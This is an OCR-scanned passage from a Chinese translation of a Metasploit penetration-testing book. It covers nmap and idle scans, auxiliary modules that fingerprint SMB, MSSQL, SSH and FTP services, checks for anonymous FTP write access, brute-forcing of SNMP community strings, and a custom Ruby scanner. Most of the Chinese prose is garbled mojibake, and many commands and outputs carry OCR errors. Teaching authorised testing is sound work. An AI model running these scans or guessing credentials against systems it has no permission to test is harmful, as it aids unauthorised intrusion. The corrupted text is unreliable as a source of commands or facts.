MEBEREEPAT —HERNBBUATE, FXERNAEHEE. BAEERIARERELD
FFRFESH, FEMNR, Metasploit F4E 7 BREWENS ZXHF, ZHEEREERBSHE
YR58 AR B Ak o TAE

$RAT LR IR R B I B S i K32 Metasploit {FRFIBIREHRE, Mewasploit STFF
MySQL. PostgreSQL ! SQLite3 H¥EFE, BATHERIKIT R IEMIA PostgreSQL R W, H
3 & Metasploit BLIARY.

B, BiEBERT Back|Teack I init.d BB RB s BHERE T R4 -

root@bt~# /etc/init.d/postgresql-8.3 start

PostgreSQL 3zh/E, Ffilik Metasploit SESEHEIX MAEE LS L. ERNEIEETR
A4, O%, ETHEEEREN THL U EEEMAKSIERE 4. Back|Track H PostgreSQL
BN P &R postgres, H4R toor. BATHA msfbook fEHRIEL . AN F S
535 EREE:

msf > db_connect postgres:toor@127.0.0.1/msfbook

MPRE WEED msbook BIEE, RNZERLHIT KRN, IRHBET Metasploit
ALRIBLRGBER. WRERER WERE, XFH4LAKERF] MSF 2R, F
#F—LHES.

Metasploit Eﬁi—‘ﬁfﬂﬂﬁﬁh%ﬁﬂ‘t e BRI, MK A S R B AL R
ABHEIET. MRTE - ATBENBEEESSFIR, TLE MSF KP4 belp REH.
MIE, RAMEH db_status ﬁh@ﬂ{ﬁﬂxﬁtﬁﬁ%%mﬁﬁ 1.
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msf > db_status
[*] postgresql connected to msfbook

ERK—VEHR.
1. 4 Nmap #ith 1945 R B A Metasploit

SR S HARE R — D RETSERR TEN, A RIRYA AT BEEAR B 6 ) fr ks s 21T 13
#, NYT RIS ARSLETH nmap FI#E R 2 AR Metasploit ERE . FTH&ENE—
B~ nmap £ HAEA XML #1534 GAIL nmap f-0X RINAERR) F A Metasploit .

e 5, BRAATE G Windows BEHLFLE Fl-oX RIS AT, £ —8 A Subnetl.xml
A

nmap -Pn -sS -A -oX Subneti 192.168.1.0/24

XML XA, BAI{EH db_import s8-8 XS ABEEE D .. EERER, LA
F db_hosts tr &L FARE R, db_hosts sr R B REEEPHEDRFHAEIINGELR, 0T
B

msf > db_connect postgres:toox@127.0.0.1/msf3
mst > db_import Subneti.xml
msT > db_hosts -c¢ address

Hosts

*******

192.168.1.1
192.168.1.10
192.168.1.101
192,.168.1,102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192,168.1.155%
192.168.1.174
192.168.1,180
192.168.1.181
192,.168.1.2
192.168.1,99

msf »
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HEAAT db_hosts ardfE, RE T - - EVE IP bk Sz, XIER B CE s
nmap 1 F A B [ Metasploit .

2. 5%k Nmap 13#35T5: TCP & R13H

- CPRE A KR nmap #5530 TCP EWiI#,. ZXMABRLERNERMSE LA—6F
HLEY IP Kudik, X B AREATE G EBRMATARE . T IR, BATHEERNSE e — &
FER TP Wit (UPID: R THRE IP QRKFN—REAR) BI0NZERNEN (SHEREZE
PLE— B RN A A W 28 A8 R ). HIMATAMAE GFHE, S/ IP hidsiH2 e
DI HAE), B AHX ] A B E TN IP misRiR. 3FNBRRXEZHELN IP
Halb Xt Hbs E0L A3 S O TSNS, SR R LR RY 1P fiiER R S TR B A 1P by
PRARERR, BABEKEZIROTREFRE . (MRBTHELXTFHERMEE P MR
VRME . aTLLUT i) hetp /rwww. metasploit com/modules/auxiliary/ scanner/ip/ipidseqg/:

Al A {8 B Metasploit {321 scanner/ip/ipidseq fRE, X TFIREEEH 2 TCP FRARME KK
FHREH, WTF B

msf > wse auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options:

Mame Current 5etting Required Description
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The lecal IP address
0 RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
®  THREADS 1 yes The number of concurrent threads
TIMEQUT 500 yes The reply read timeout in milliseconds

EANFIRBR T AT ipidseq FRFIF A ZE .. Eod RHOST 25 0H1TiHH, s
¥l LLAEAT IP HEAEEE (3D 192.168.1.20-192.168.1.30) . CIDR (EHEEE M) Makd: (o
192.168.1.024) | FHESTMAIE 4 CIDR bl (40 192.168.1.0/24, 192.168.3.024) , LI
EEITEE N IP bk 1P FIF LRI (W file/tmp/hostlist.ixt) . ZHOEINERANE SR E
F# H b5 R R AN RIS

£ THREAD £ 0T R EAHHNEELN . IrE MEBERIARER S 1. S8 E
LIIERTFIHER. BESKMETLIE/DCMNE FRERE. —RKEK, € Windows F& Liz4T
Metasploit, ZPEHEITAEEHIT 16, TFK UNIX F5ETAERLL 128,
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MAERNREFSREHPITEHIES. RITE RHOST 28R Y 192.168.1.024, Fk
BHEER 50, Rinsfrias.

msf auxiliary{ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS =» 192.168.1.0/24

msf auxiliary({ipidseq) > set THREADS 50

THREADS => 50

mst auxiliary(ipidseq) > run

[*] 192.168.1.1's TPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
{*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID seguence class: All zeros

© [*] 192,168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (o0s50% complete)
[*] 192.168.1.154"s IPID sequence class: Incremental!
(*] 192.168.1.155's IPID sequence class: Incremental!
[*] Scanmned 155 of 256 hosts (060% complete)
[*] 192.168.1.180"s IPID sequence class: All zeros
[*] 192.168.1.181"s IPID sequence c¢lass: Incremental!
[*] 192.168.1.185"s IPID sequence class: All zeros
[*) 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts {090% complete)
[*] Scanned 256 of 25& hosts (200% complete)
[*] Auxiliary module execution completed
msT auxiliary(ipidseq) »

iSRS, BRNERABENEZRIHTHTFZAETMN. BRIIZEE nmap
b {# F -1 3L T8 52 © P 2KET A9 192.168.1.109 45 5 2R A4 B THLBE T8,

msf auxiliary(ipidseq) > nmap -PN -sI 192,168.1.109 192.168.1.155
[*] exec; nmap -PN -sI 192,168.1.109 192,168.1.155

Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1,155:

Not shown: 996 closed|filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 00:00:29:E4:59:7C (VMware)

Nmap done: 1 IP address {1 host up} scanned in 7.12 seconds

msf auxiliary(ipidseq) >

HAZHEH, BAITOTCUUAR B [P Huik ) B VR EMTHER, MR H EHE
Bl AR HE R .
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3. & MSF £&ixPi=fT Nmap

HARMNELER 7RI HFRGE BHESZEEY, T ik 13 nmap Fl Metasploit 456 2 3k
. BEEENFTEEED msbook BHEE:

msf » db_connect postgres:toor@127.0.0.1/msf3

D EFI R E S LA db_nmap 659, X NS EEREH MSF 8851547 nmap, ¥
HEME nmap G RAFAETEBHET,

B A PRNASE I, 2EARTA4EA CIDR FFit R A iRid4gE 4
[Pt (4)dw: 192.168.1.1/24 &, 192.168.1.1-254 ).

I'IIS'F } dh__mw '55 'A 1?2!15!311131

Waxning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 172.16,32.131

Host is up {0.00056s latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

Z1/tcp ®open fip Microsoft ftpd

25/tcp  open smtp Microsoft ESMTP 6.0.2600.2180 @
80/tcp  open http Microsoft IIS webserver 5.1

| html-title:

135/tcp open msIpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

345/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp cpen msIpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
3389/tcp open microsoft-rdp Microsoft Terminal Service

MAC Address: 00:00:29:£4:26:7C (WMware)

Device type: general purpose

Running: Microsoft Windows XP|2003 ©

05 details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

Service Info: Host: ihazsecurity; 05: Windows

Host script results:

| nbstat: NetBIOS name: IHAZSECLRITY, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ea3:26:7C
| smb-os-discovery:

| 05: Windows XP (Windows 2000 LAN Manager)

| Name: WORKGROUPA\THAZSECLRITY

|_smbv2-enabled: Server doesn't support SMBv2 protoccl

05 and Service detection performed. Please report any incorrect results at hitp://nmap.org/submit/.
Nmap done: 1 IP address {1 host up) scanned in 33.51 seconds

BRMNERMEMERPEIT —RIDTHKROO. H4REO. EEREXN BFRERS
REHFEH O
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A] A4 T db_services ff @ R BB HIBEEVTRIRX T AS LiETHAHHBLE R

mst > db_services

Services
host, port proto name state info
172.16.32.131 135 tep  msrpc open  Microsoft Windows RPC

172.16.32.131 139 tcp netbios-ssn ppen

172.16.32.131 445 tecp  microsoft-ds open  Microsoft Windows XP microsoft-ds
172.16.32.131 777 tcp  unknown open

172.16.32.131 1433 tcp  ms-sql-s open  Microsoft SQL Server 2005 9.00.1399; RTM

FHEfICLHLU T HEMXERE. R4 TEAEEH KA RRO,

3.2.3 {#F Metasploit i#{Tim 4344

£ Metasploit FANEESFHE A HME, MHEHBIHERSPBEE T LN BN
Offds. XEANRMHEBETERESTES Metasploit HERHITTRE, M BIBET BB
AHMERFREE. EREHETY, RITEERF AN BEMSRM B A M EM,
IRE N P B0 U5 (o) 1 AT By, RSB BB R BSOS, e AR A8 85 A
PIER AR IR EHL, S BGEEHIRES 3R A LB RE K 5 i,

PR, BRRFHEET —SM T AR S HAMSEMIER% (NAT) B30, XG6F
PLE BN Internet BEEFRENAE IP #hht . WRIRA EEES#H Metasploit X F NAT |/
B EPLRT IS, BARTT RSB ENELBR, SREBFZIRENTNE
PlE.

v] L3 AT F a2 B Metasploit 22458 DR T A

msf > search portscan

T BT A Metasploit ] SYN 3 DA R B EHBT R EBEEE. BeEmA
use scanner/portscan/syn, A5 E RHOST ¥4 192.168.1.158, @ TLEH A 50, &5
AT,

mst > use scanner/portscan/syn

msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHDSTS => 192.168.1.155

msf auxiliary(syn) > set THREADS 50

THREADS => 50
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msf auxiliary{syn)} » run

O [*] TCP OPEN 192,168.1.155:135

[*¥] TCP OPEN 192.168.1.155:139

[¥] TCP OPEN 192.168.1.155:445

[*] Scanned 1 of 1 hosts {100% complete)
[*] Auxiliary module execution completed
mst auxiliary{syn) >

M e R0 EEE B, 3015 A Metasploit 8 portscan/syn ¥EETE 1P Hilib 5 192.168.1.155

FIEH ERELT 135, 139 50 445 5 O TR .

3.3 srxfEiddE

EBERE LED, HRLHIFIREMELTHAR —22MW, XMAENTABEN AL X

FIRRERE . fhnE IR TR T 1R B SRR S A AE R ) S &N AT 3 i S RE A AL TR S T A
SEFRARL. ME. BEURAESP. HEEE, FRiMETREMITRFE MS08-067
RFAR N EFHEERER BH MS08-067 (14R) B2— M HEFENRERTHMAE, HAGES
ibfRIREeHLEY 8 SYSTEM M5 U, thEAmD B MMEYaRAEBNLERRTGE.

3.3.1
Metasploit A] LLF FH'E ) smb_version $LH 3 [ — M5, 33K Windows REFEERIR A5 .

AR 5% 2% TH 2R T

BT R RABN B (SMB: — MRS HFRIHIL) FEA, AL
a4 k2w, EATIEAM AT - TAAN TH. GEETERX TiHilfmad)—g e
$a2in, FEEFA G TR — A Rt i,

TRRMNMTXMES, FIH2%. H4 RHOSTS S28EH#TRE, REITHEDH:

msf » use scanner/smb/smb_version
ms¥ auxiliary{smb version} > show options

Module options:

Name Current Setting Required Description
RHOSTS Yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

msf auxiliary(smb_version) > set RHOSTS 192.168.1.155
KRHOSTS => 192.168.1.155
mst auxiliary(smb_version) > run

[*] 192.168.1.155 Is running Windows XP Service Pack 2 {language: English)
(name :D0OKIE-FA154354) (domain:WORKGROUP)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
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WIRAT L, FE@4E smb version FIFEESHEMHL KT B HATIRAME R E Windows XP, A%
T Service Pack 2 T . FAMHIT RN BRAH 17— 686, ALER T HRIARIZE (THREAD)
ZH 1o RN — AR AITEHM, G0 C R IP bk B, ATLAE B set THREAD
SR IR IR R SR DUNRHIE S . 1304 B RTFLE Metasploit FIEFEDLIES
ZAEH, JLMER db hosts iy S EHHEHFEPRFNEE.

msf auxiliary(smb version) > db hosts -c¢ address,os flaver

Hosts
address os_flavor 5ves Vulns MWorkspace
162.168.1,155 Windows XP 3 0 default

msf auxiliary(smb version) »

PN FF AT KRBT RER I T —MEATH Windows XP BRERLRITH. LisEN
B TAE e 208 R RIS RN TR SRR, IR -Friid B 204 bh s 4 B KBS AL i

3.3.2 HIERFYH Microsoft SQL Server

AC B A~ S0 Microsoft SQL Server (MS SQL) R RHABRERARE—1EIT. LEE,
RERAEFRRA{ZAARMEBEEMINF TIEN LEXEE MS SQL RERNH, RAYT2EREIR
ftb % ¥ (20 Microsoft Visual Studio) TFHWERESE AT ERS . iXuE
TE3EH MS SQL TRF BRA A H BT RENR L, BRDEEITREF EEMRBTIRE.

MS SQL £¥J5, BRI TCP 311 1433 FER{FRBEHLAENE TCP R, R 7rRE
HLE TCP 3y 1 _Li#t47 MS SQL MW7, HEER AR UDP 3N 1434 BE4T72034, FEaekBux4
BISLA TCP IS . S5, Metasploit  — M85 mssql ping 7T UL ISR B,

T mssgl_ping {€ R UDP B, 26X KRR F BT R R © 1 B T g2 SR8, X2
A B A AT RS . BRE—ARERMD, RREHREH 255 B miRERREE. Y
Metasploit &I MS SQL BRE AT &, ©EATHRES T A3E T IR S 28 K13 B3 8 7R %,
HPRAEEMN RSB KR TCP 3O 5.

LU AT 8 H mssql_ping M ILRE, GFEBsEEER. 5HESL2%, RBESHL
APR#ERER.

msf > use scannexr/mssql/mssql ping
msf auxiliary(mssql_ping) > show options

Module options:

Name Current Settimg Required Description
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
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THREADS 1 yes The number of concurrent threads
USERNAME  sa no The username to authenticate as
WORKSPACE ne The name of the workspace to report data inte

msf auxiliary{mssql ping) > set RHOSTS 192.168.1.0/24
RHOSTS =» 192.1638.1.0/24

msf auxiliary{mssql_ping) > set THREADS 255

THREADS =» 2585

mst auxiliary{mssql ping) > run

O [*] 50t Server information for 192.168.1.155:
[*] ServerName = V-XP5P2-BARE

o [*] InstanceName = SQLEXPRESS
[*] IsClustered = No

e [*] Version = 10.0,1600.22

a9 [*] tcp = 1433

TARET R, PSR AENL T MSSQL fRF-254ht @, Ei5Mie T MSSQL £HZe. R
BEMEAEOLERSBBWK TCPHEDO., ALIBE—T, £ MARIHKTFHMYEE
#H MSSQL RN O, fF A X R EMERE R amap T E FHBIEFTE W OB ITHEER
L.

3.3.3 SSHREZFIWM

RS RSP BT EHIEITE SSH (&4 Shell), {7 253 SSH B E 4T .
SSH & —fr &2, AXHREEMNRMIBAWEME, EL SSH FSEHRE 4 2Bl
THE2RBMA. FELAFRKEASBAD —BSBRETETHRFRNENS, XHBENFEAT
Besl & AR b ATELE B Metasploit fE42AY ssk_version HEIRFEIRH B ¥R 5728 LIEATHY
SSH X .

mst > use scanner/ssh/ssh_version

mst auxiliary(ssh version) > set THREADS 50
THREADS => 50

msf auxiliary(ssh_version) > run

{*] 192,168.1.1:22, SSH server version: 55H-2,0-dropbear 0.52

{*] Scanned 044 of 256 hosts (0173 complete)

[*] 192.168.1.101:22, S5H server version: 55H-2,0-OpenSSH S.1p1 Debian-3ubuntul
[*] Scanned 100 of 256 hosts {039% complete)

[*] 192.168.1.153:22, SSH server version: SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntul
[*] 192.168.1.185:22, S55H server version: 55H-2.0-0OpenS5H 4.3

XEHEREFRRI, —BEARRMORSBEE T AR T FREORE. DRREEREH
—MF R AN OpenSSH IRFFEF, BARZLNEH ssh_version 1IN R AT SEXHRAEH
B
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3.3.4 FTP }3i#&

FTP BR—#EXRHBZ 22NN ABR L. FIP REBEE RN AIFMEBEER
Riz. EBFENXTAEF, REENSM AERAE L2TH FTP IRGFHRAIT 3. HRIME L.

T IR ATER] Metasploit fEZE fip version BLER¥TFATIHY Windows XP EFIHLE) FTP IR%
AT

msf > use scanner/fip/ftp_vexrsion
msf auxiliary(ftp version) > show options

Module options:

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as

RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port

THREADS 1 yes The number of concurrent threads

WORKSPACE no The name of the workspace to report data into

msf auxiliary{ftp version) » set RHOSTS 192.168.1.0/24
RHOSTS =>» 192.168.1.0/24

msf auxiliary{ftp version) > set THREADS 25%

THREADS => 255

ms¥ auxiliary{ftp version) > rTun

© [*] 192.168.1,155:21 FTP Banner: Minftpd ready

IR AR A K FTP B &5 850 ., IR 1E H Metasploit ¥ 3E &) scanner/fip/anonymous
BHRAE—TXG FTPIRFELTARTFBEEN -, EXR:

mst > use auxiliary/scanner/ftp/anonymous

mst auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
RHOSTS =» 192.168.1.0/24

mst auxiliary(anonymous) > set THREADS 50

THREADS => 50

mst auxiliary(anonymous) > rum

[*] Scanned 045 of 256 hosts (017% complete)
® [*] 192.168.1.155:21 Angnymous READ/WRITE (220 Minftpd ready)

AMBMEEROLERFBATFELHPER, MEEZHPEFENSRNM, By
G, HMIXERK FTP RERA RSB R, T LA T8 FTP [R5 3%k
EHIErE 3.
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Metasploit 3 XN iXHEre

3.3.5 fEEMENIaE

i A Y (SNMP) EHBATHMSEE S, ARBEFRARHE. pREULRMRE
B. B, —EBEREHAE SNMP BE KM, FTEAKEHER CPU RHE. ZHA
U R HALRAER SR B -

SNMP K E N RHEEH AR FELE, BEHRTEERAENEH . TEK SNMP
REBEEHRATHEREHLZNFELS, H22PBOEPOEBELK. Fll, nHFeEd
F B/ S B Cisco BB 3% SNMP AR/ H, Ll THRENBbMFERE, ARl
friged, HiEeERABRaEP.

Metasploit HE4EPE G — N B RIFHENER scammer/snmp/snmp_enum, "E17 SNMP 3%
1R . FRARZIEREE, MEFESEREE (RO 8GE/E (RW) SR ET
8, BHEMEETRBGEEEEESEM. T Windows BRIERZNEED, MWRAKET
SNMP, B LA RO B RW BURMIE &2 RFE, REEFIFNT &A1 BTHRS. A
. FERETHE. BHRUERCER, XEFRANTEREIR TAEIFREFNHEH. (FEER
HEER FEFRTHARESLREARERESHEATFTHLS)

EEEAERERSEE, SNMP GFERFERRE) 7L AT REEEERHEAMEMER,
A FB ARG RHBRENREHBE. SNMP v v2 REFREKERKE, SNMP v3
iR T B ThA R4 T E A AL, B0E T R, B TRREHE S RYLKBIR,
HhIREE IR BT M SNMP B&E4F S . A F Metasploit {ES P XY scanner/snmp/snmp_login 1%
B, fRafel 24 P sk —ER IP {1 F KR AR SNMP HIEF /78 .

msf > use use scanner/snmp/snmp_login

msf auxiliary(snmp login) > set RHOSTS 192.168.1.0/24
RHO5TS =» 102.168.1.0/24

msf auxiliary(snmp login) > set THREADS S50

THREADS =» S0

msf auxiliary{snmp_legin) > run

[*] >> progress {192.168.1.0-192.168,1.255) 0/30208...

[*] 192.168.1.2 "public’ 'GSM7224 L2 Managed Gigabit Switch’
[*] 192.168.1.2 'private' 'GSM7224 L2 Managed Gigabit Switch’
[*#] Auxiliary module execution completed

msf auxiliary{snmp login) >

ST GSM7224 FHEE Google TRMTHRERERITER, HWRCLERHNT 5
Netgear ZZ# LA HORIAE OF) SNMP FHEZ AT . NSIRETHME, XENERIFENFE
iR HER), MR KRTHRVIBAMER 7 R ARE.
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ERREZEMAP AR Y, REBRVFERPIHES ARBSETIER, BATEHEA
HI R 2R PR R AR FIMES, WA ENRNRAREHRTER. B —PRARA
HERYARMAC E AT B AERETE Internet L YT BT, XFMFMSTERILILER.

34 %5 B

£ Metasploit Thik/D1R &8 X455 8 b MU 9 B3RS . At EEKEMR, Metasploit
HERAFRPEY B XOWBRALHIRE. B XI#ME o U#H Metasploit £ 4
PNBEM L RNAE, ERGARTRERSR . REEEFRE (SSL) 8. #E5E
WURSBERERES. E22 M T/EPREAEXHEHBEERTH, FinaliKs Mk
EM ARG LR —1 B OSEERITHT RS W B e .

Metasploi HEZLE M F) 1348 B AL IE R M mixin (JRAZE), AT TCP. SMB f#Bi% I
ii mixin, PAASERRTE Metasploit HEALH FIHABHFI mixin. Mixin &4 /RT 2 X I f $oA0 A H
FIACABEEER . Auxiliary::Scanner mixin E#, T Auxiliary 2508 run K%, TEEATHAETLLEH
run_host (IP). run_range (MhhEFIE]), 38 run batch (IP FFTCH) FHEEREAE, REX
P Mk iT AR EE . ATIOT LUF| A Auxiliary::Scanner if F 814 () Metasploit N EIhfE. ©

T2 M ALY TCP 33152807 Ruby B, ERRAKGEREIER THM 12345 80, &
#J5. &i% “HELLO SERVER” 7 &8, WEREV/BIIMA)SS, 4IRS BEHENHEENRS S P
bt — R BIFEE L.

iMetasploit
require ‘msf/core’
class Metasploit) < Msf::Auxiliary
©@include Msf::Exploit::Remote::Tcp
@include Msf::Auxiliary::Scanner
def initialize

super(
'Name ' => "My custom TCP scan’,
'Version® =» "$Revision: 1 %7,
'Description’ =» "My quick scanner’,
‘Author’ =» "Your name here’,
'License’ => MSF_LICENSE

)

register options{

(
©0pt : :RPORT{12345)
], self.class)
end

@O F&iE: Minix (RAX) 2 -MEESRBEETPHRS, AT oh it 2 shik KN
RM-FRAEMNGE, mRELRGEEMAME. A—4 mixin 28R X, midk
AEAS—Ehtl, —AETAMA—PHH S A mixin Hif 3 FoREKIEH S Hibohik.
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def run_hoest{ip)
connect{)
@sock.puts{'HELLO SERVER')
data = sock.recw(1024)
©print_status("Received: #{data} from H#{ip}")
disconnect()
end
end

i A fE B Y F i 5% {F Al Msf:Exploit:Remote:Tep mixin® 2238 TCP & . A
Msf:: Auxiliary::Scanner mixin®@ A B FEM S NEBRGRITHE. T BRAKTE
PUOBBEN 123450, —HERBBEE, EELE -MHEO, REUERBRAHNUNPLLE,
S5 el 7 7 R PR 7 0 R 55 4% Hh ik — [ o2 BUSR 8 1@ |

AR B H B X B AR TEAE module/auxiliary/scanner/B 72T, 618N simple_tcp.rb. TF
Metasploit 1, BEHMEFHCEEFYEE. FHkRkE, WREAXIMTERRTFET
modules/auxiliary/scanner/http/B 2 F, CHEEBBRFI R PR BN scanner/htip/simple_tcp, M
AE R scanner/simple tcp.

s T AHX AN AR R fTRGE, RATME A netcat TEM T 12345 AT MW, HELEH
$ N — A0SO R IUIR 95 A% AT Y .

roct@bt:/# echo "Hello Metasploit” > banner.txt
Toot@bt:/# nc -lvnp 12345 < banner.txt
listening on [any] 12345...

R, RIS MSF 238, mBRIIRNRGIEEROIIBES, REFSN, BSET
CEBABTHER.

msf > use auxiliary/scanner/simple tcp
msf auxiliary(simple tcp) > show options

Module pptions:

Name Current Setting Required Description

-——wmeom 0w omm omrowr R oE oo B e s mam mam frdrdadrah drak ™ 2 E @SS ETE S &S oA

RHOSTS yes The target address Tange or CIDR identifier
RPORT 12345 yes The target port
THREADS 1 yes The number of conturrent threads

msf auxiliary(simple tcp) > set RHOSTS 192.168.1.101
RHOSTS =»> 192,168.1.101
msf auxiliary(simple tcp) > run

[*] Received: Hello Metasploit from 192.168.1.101
[*]) Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary medule execution completed

msf auxiliary({simple tcp} >
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FIFE WEEE

BBRERAR—MHEHMEF, BAPULIEY, HHESENRTEPFERS LN
PLEE S TAF R E RIBR, Metasploit HEREFR R UL LA DIBE AT IR ARIER . RERXAEBE
#FRESE IR Metasploit fEZRFRERILANIDRE KB A1, AL, RTEBFEMR A EHE
o AR BT LRSI,

3.5 /P&

A RE ] T I H A Metasploit MEREFEITEHIRE, XLH LA PTES brHEPI R E#
E. FRBEIATEABLER, FEMEBHHFALNEFEEATREANTR, FEEBH
ERENEGE HF. HFRSEINATR AR — 3 RGN s IR v k. B,
IZXAET B T S R BBAREREE H AR A BE R T REHRR R K. NERK CAELE
MEEK . AEM. TEMERATS TEYBHEAHTR, WHRIEEMERERN—,

EHR 4 7V, ZNHEBHBIHEENAN L —TRELR. BHSMBRTHAZLE
M. FREMNETT, RIBHEARR A2 B SRS B Meterpreter A
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H s
i A R E N

WA RRE P AR RERYE. ML ENHREPIIRAEI L2
RWER. vl BERERTRRY, nERRAERXEE, IMBRENESBHNE
TFEE FESEAT ULAC, BETT )2 H H iR R4 LA ERN Z 2w,

FRRERZEFMEBRRMERREAF, e T FEEHAENEEEEEE AR
Ri. JiR$H 58 o] LU X Lo i e B 1R B HAR REERT “38807, HUMRBRERERE, &
FHEHAT ZEEFER. RADEBUITLER - RENERERERIEERE L,
FIFHERRE L RENKENZTERS, FARENESCLRETAHTERF. BT
BB HREDBEREERRE, RALERNRAN R 2RFELTHE, KOMET RS
EH RSB ENEHEEXEKX.



Metasploit ;2% Rid &

ERRRH A SEMS L A B, FENEFASERIARRBENAT
VR HE, ASNEEARRARSE. BB, mERNEERR T EERENLT,
BRI B 2T AR T RESERRR, BLEATIAREANA .

LR AHBRETH N, BHEARSLEENR TR PRI EERERY —,
KB R R T SRR A . FEAE D, R — A
RFFiITE, HBRHTHENS Measploit SARMMEA, FEHESM—L Metasploit
KEAE b G AT I R IR S S D A e

4.1 EFRREEE

HBRATE — T BE AP FR M Z P EITH . AT 1E A netcat A¢3KEL B 45 192.168.1.203
FIEdT . EGEN RS EEN— I EEME RS, FIEDRRFMERIRH (REF). FEM
WARS, thin web. UGB LMY, — OEEMCIIMRS R U SR EINRERE R
A, BLPTLIHRIG bR, X B, BWATEEB—MEITE TCP 3O 80 LT Web RF 45, HX
tH—A GET HTTP iF K, ibBNEF TR S MNIE KB &P HTTP kP HEEF M4
iR

root@bt:/opt/framework3/msfi¥ nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request

@ Server: Microsoft-IIS/5.1

EEEE B0 ERRIT, W80 LEFFHAETMK IS 5.1 1) Web BERR%K. AT
s R, RAVATLMER ME 4-1 FrRRAEHE, RAET HHETEAESRER IS X
A, DX RERETCARSE T HTEE.

gk, FELFFRES, RABASERREBT—TARNT. BTFRAANREFEER
HHEAMES, RAAHERENASTES RN (RS TRFEESR LRAHREE) MRR
R RAELFE LRATE). RARSRATREEETTRR, FaRR, EABEN
TRALHTHARROAME. FRESENORRRBARE FRATE AW RRRIE
B, WAEHIRES AN ETENRENAENREF BF.

FELRITRT # -SATRANFRANE, TEAHE NeXpose. Nessus H- 255154
S
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F4HW NEEAM

rolciec

10907 HTTP Sarver Typa and Vacson
43111 HTTP Madhods Alowsd (per direciory ) warw (ADACD)
1187 Marosoll B8 404 Fesptnes Saivion Pack Gignsrs oy E0ACD)
I HTTP TRACE ! TRACK Maslhods Aliowed et (B0ACD)
11424 WebDuv Dataiion wranw (NG
24280  HyperText Transler Profecol (HTTP) kfomiation warw [MRCDY

— — o —— [u——

Bl 4-1 £ B4 Web B&ERRMHEARE R

4.2 {FH NeXpose itk{T33I3¥

NeXpose & Rapid7 @B AKEFARS ~d. Sl MNEEITHMN, B Mg kI
HIZTHIRE., RZANBEHERFNNARER LRZ2RI. NeXpose B 54318 D A%
WHEAT R, HEREHERNRE.

Rapid7 2 8148 7 £ NeXpose Wik, FEXBRIMEAHEXHEZM (Community edition),
HABEZANBREREFEN. WRFRITHEBLFESNTHEH NeXpose, O] LL## Rapid? P
hitp:/'www.rapid?.comfvuinerability-scanmerjsp). T 8%/ R A BT H B B ThRE R & R 2 Y
& fir .

BATHHEM HARRE — A 24/ Windows XPSP2 41, HEARKESEMFE A. H¥4i,
#AR ARRBAT- IR ATFRE R RE, BERHENESGR S AR Metasploit . ZEAY
AN, BENENBMFE MSF 23R H NeXpose BTHIAIIH, 7 MSF &WPigsT
NeXpose A] LLibOS TEFR AT T BT Web 8YEJER F A . T HE £ T MSME I AR S HIAKMA .

421 BECHE

XIS NeXpose E3RCH G, RalLETH — MU ER, @AW T RAL:
https://<youripaddress>:3780. SRIGIR TR EESE NeXpose YHO B RS BIEE, R «E
NERHAP2AM OS8R ERANEREFI WA 42 i@, (€ Rapid7 Fgh LF
KT NeXpose FIiEAN 45, )

fE NeXpose B EAMF, FSE BB REG W T —SHiRE R

® B~ (Assets) HOF R M EEEOmEArHENNEE:

@ HE (Reporis) MOAPFIH [{f5EB)a AR5

® mifH (Vulnerabilities) W@ NIEREE R IR MAMIT T ERHER;

® & (Administration) FOHR] LK & RGERE#ITHER.
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Current Scan Listing for Al Sited

e

Thers are f pasEl gros o Slepkey,

2013 A L, By, M L3l Y LS Sairs Bbg HEIDT | TF2 MITY

B 4-2 NeXpose BI¥]EH & 1M
S EBE R — i BRI R T e Rk, SIA 82— FE H R R a5 %

1. FimEE

NeXpose PHIFE A (Site) B —RIEXREHNEEERS, ITMRGERBR FAEE—
MM TR THRENREES, FAHR FTRI2 P RImp T4E. 3 8 NeXpose F3H#%S
%, ERITIEZE, SAER A, TEUAARRM SR RIMEAMAER,

(1) €U F M AF, 7F NeXpose = 5 P &7 New Site CGFrabisl) 32, WA AAFHKA
g, )5 AT Next (T 28 #HARMNRERE.

(2) HwNEER, RTMERAEFTRSPERT BiRETE X, WE 43 Fra. AL
B -NRME IP ik, — P HUTER. —63HEEE, (RTIEHAMMTEERE (TETED
MEHEEE MR . (TS ESSAMRET S O, RIS LDXHENER, —
HRIRHEO#EREL —BEANMTHARQRESEARAITEARN G 1), Ko Next 184l 5
R 2 B MANHERR .

(3) FHHEELED, FAALAJLARFEEAMRMEE PEE, Sk (Discovery
Scan) FIEFERiX (Penetration test); RAJLUERERREFEIHIESIE, THEH RE BahBiTAH
H4BES. BTRIHEMN NeXpose ThEEM- - MR ENMH, XERINRFRANIREAE,
